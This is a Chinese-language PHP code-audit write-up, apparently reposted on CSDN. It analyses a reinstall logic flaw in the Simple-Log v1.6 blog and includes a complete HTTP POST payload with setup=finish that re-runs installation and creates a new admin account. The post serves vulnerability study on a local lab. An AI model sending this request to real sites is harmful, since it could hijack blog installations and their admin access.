mac搭建php审计环境,[php审计实战篇]Simple-Log v1.6 安装逻辑问题

本文详细分析了Simple-Log博客系统的安装过程,揭示了一个允许绕过安装完成检查的漏洞。通过操纵$setup参数,攻击者可以重新执行安装步骤,包括设置数据库连接和创建管理员账户。虽然实际利用需要已知数据库凭据,但这个案例展示了安装逻辑错误的潜在风险。
摘要由CSDN通过智能技术生成

本帖最后由 Aedoo 于 2018-1-2 08:17 编辑

0x00 代码跟踪

首页,index.php:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

1.png (25.21 KB, 下载次数: 95)

2017-12-18 23:51 上传首先包含php文件:/includes/core.php

8f3ff2fbfdd7c7c8339951a6542705fa.gif

2.png (42.36 KB, 下载次数: 102)

2017-12-18 23:51 上传

第9、11行代码:

[PHP] 纯文本查看 复制代码define('SLSYS',defined('SAE_TMP_PATH')?'SAE':'NORMAL');

//定义博客系统的运行环境

require(PBBLOG_ROOT.'/includes/'.SLSYS.'.core.php');

如果定义过SAE_TMP_PATH变量,则SLSYS为SAE。

但是博客并未安装过,SLSYS会被赋值为NORMAL。

因此第11行会包含文件:/includes/NORMAL.core.php

继续跟踪:/includes/NORMAL.core.php

8f3ff2fbfdd7c7c8339951a6542705fa.gif

3.png (60.59 KB, 下载次数: 103)

2017-12-18 23:51 上传

第22行:先判断/home/data/config.php文件是否存在,如果存在包含此文件。

但实际未安装之前此文件并不存在,而33行的$install_lock变量是在此文件中定义的。

所以会进入if循环,从而跳转到安装界面。

0x01 漏洞分析

假设现在已经成功安装了Simple-Log博客。

此时已经存在/home/data/config.php文件,并且已被包含,$install_lock=true。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

4.png (39.59 KB, 下载次数: 93)

2017-12-18 23:51 上传

第59行:此时需要$setup参数不等于finish,才会满足条件并且跳转到博客首页。

第52行:如果POST进入的参数setup不为空,则setup被赋值为POST值,反之会被赋值为check。

所以这两个处代码导致了$setup参数可控,可直接POST参数: setup=finish

会直接进行安装的最后一步。

下图为进入$setup=finish的代码,接收host、dbuser、dbpass等POST进的参数并连接数据库:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

5.png (97.94 KB, 下载次数: 95)

2017-12-18 23:51 上传

一同POST进入的值还有管理员账户以及密码等,随后会插入到数据库

8f3ff2fbfdd7c7c8339951a6542705fa.gif

6.png (57.4 KB, 下载次数: 98)

2017-12-18 23:51 上传

给出Payload:(可点击纯文本查看)

[AppleScript] 纯文本查看 复制代码POST /simplelog/install/index.php HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 119

Cookie: PHPSESSID=2h2vr0hj990r37p9pfj6qlluv7

Connection: close

Upgrade-Insecure-Requests: 1

setup=finish&host=localhost&dbname=simpletest&dbuser=root&dbpass=root&admin_user=admin&admin_pass=123456&blogname=simple

代码区域会被转码,可点击纯文本查看,下面也给出图片:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

7.png (29.07 KB, 下载次数: 112)

2017-12-18 23:51 上传

测试成功:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

8.png (75.12 KB, 下载次数: 108)

2017-12-18 23:51 上传

0x03 小结

虽然此处安装逻辑问题比较鸡肋,因为你并不知道数据库管理员用户名以及密码。

但是作为安装逻辑的案例,还是比较好的。

0x04 环境以及源码下载

审计工具:PHPStorm

审计环境:phpStudy

源码分享:

fee66f979b5055a8ac528ddbc4edaeca.gif

Simple-Log-v1.6.20120201.zip

(561.05 KB, 下载次数: 6, 售价: 3 魔法币)

2017-12-18 23:54 上传

点击文件名下载附件

售价: 3 魔法币 [记录]

下载积分: 魔法币 -5

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值